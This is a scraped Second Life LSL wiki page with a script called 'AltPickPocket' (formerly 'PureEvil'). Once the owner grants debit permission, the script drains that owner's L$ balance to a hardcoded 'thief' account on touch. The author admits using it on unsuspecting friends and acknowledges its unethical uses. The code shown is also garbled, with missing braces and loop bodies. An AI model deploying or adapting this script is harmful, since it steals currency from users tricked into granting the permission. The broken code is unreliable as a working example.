Don't click here unless you want to be banned.

LSL Wiki : LibraryAltPickPocket

HomePage :: PageIndex :: RecentChanges :: RecentlyCommented :: UserSettings :: You are
I wrote this script initially for the purpose of keeping an ATM type object that would allow me to take the $L from my Alt's accounts at will, without the need to log out and log the Alt in and make a manual payment.

I have also used this script to tease unsuspecting friends, as they watch in amazement how their $L are cleaned out and payed to me.
Of course, I always gave them their $L back afterwards, but there are other uses for this script too... if used ethically.

It should be noted that this script can be used for unethical purposes, which re-enforces the fact that it needs to be made public.
I think that everyone should be made aware of the fact that if you are not paying attention to what you are doing in SL, you might be paying a higher price for this lesson.

// AltPickPocket Script C 2005-2007
// Formerly Known as PureEvil
// By Mitzpatrick Fitzsimmons

// This script will take money from the person that owns the object it is in
// ONLY IF that owner accepts the PERMISSION_DEBIT.

// The UUID of the "thief" variable is to whom the money is paid to.
// I accept no responsability for the USE or MISUSE of this script.
// As with anything in SL, make sure you know what you are doing before you do it.

key thief = "605dc2e5-3bdf-427e-a38d-98390c124249"; // Insert the key of the person who is going to get the money here.
list ammount = [32768, 16384, 8192, 4096, 2048, 1024, 512, 256, 128, 64, 32, 16, 8, 4, 2, 1]; // Use a list to enumerate payments until the account is cleaned out.

// The pay function here will use the integers in the ammount list to transact payments to the thief UUID in incremental 
// amounts until the list ends. In most cases this will deplete the account of the owner (unless there is more money in that
// owners account than is in the largest list amount).
pay () {
integer m = llGetListLength(ammount);
integer i = 0;
    while (i<m) {

     on_rez(integer number)
        llResetScript(); // Make sure Ownership Changes properly.
        llSetObjectName("AltPickPocket"); // Set the Object Name
        llRequestPermissions(llGetOwner(),PERMISSION_DEBIT);// Request Owners permission to debit money.

    touch_start(integer total_number)
        if(llDetectedKey(0) == thief) // if the thief is touching the object
            llSay(0, "You are the Authorized."); // Tell them they are Authorized
            pay(); // Then Pay them
        }else{ // If it is not the thief touching the object
            llSay(0, "You are NOT Authorized!"); // then deny them
    run_time_permissions(integer number)
        if(number >0)
            llSetColor(<0,1,0>, ALL_SIDES);
            llSay(0, "PickPocket has no permissions");
            llSetColor(<1,0,0>, ALL_SIDES);
There are 2 comments on this page. [Display comments/form]